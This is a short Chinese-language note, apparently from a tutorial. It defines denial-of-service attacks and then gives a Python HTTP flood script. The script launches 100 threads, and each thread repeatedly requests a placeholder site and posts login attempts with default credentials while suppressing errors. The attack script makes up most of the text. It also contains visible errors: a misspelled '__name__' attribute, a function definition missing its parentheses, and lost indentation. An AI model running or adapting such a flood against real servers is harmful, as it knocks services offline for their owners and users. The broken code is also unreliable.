DOS攻击的核心:利用常规技术或特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘、带宽、链接数等),使其无法正常体提供对外服务。
import threading,time,requests
# 定义一个装饰器,可以用于收集其响应时间
def performance(func):
def inner():
start = time.time()
func()
end = time.time()
print(f"请求:{func._name_}的响应时间为:{end - start}")
return inner
session = requests.session()
@performance
def home():
resp = session.get('http://xxxx.com/')
@performance
def login():
data = {'username':'admin','password':'admin123','verifycode':'0000'}
resp = requests.post(url='http://xxxx.com/',data=data)
# 基于HTTP协议,进行流量泛洪、压力测试、性能测试
def flood:
for i in range(1000):
try:
home()
login()
except:
pass
for i in range(100):
t = threading.Thread(target=flood).start()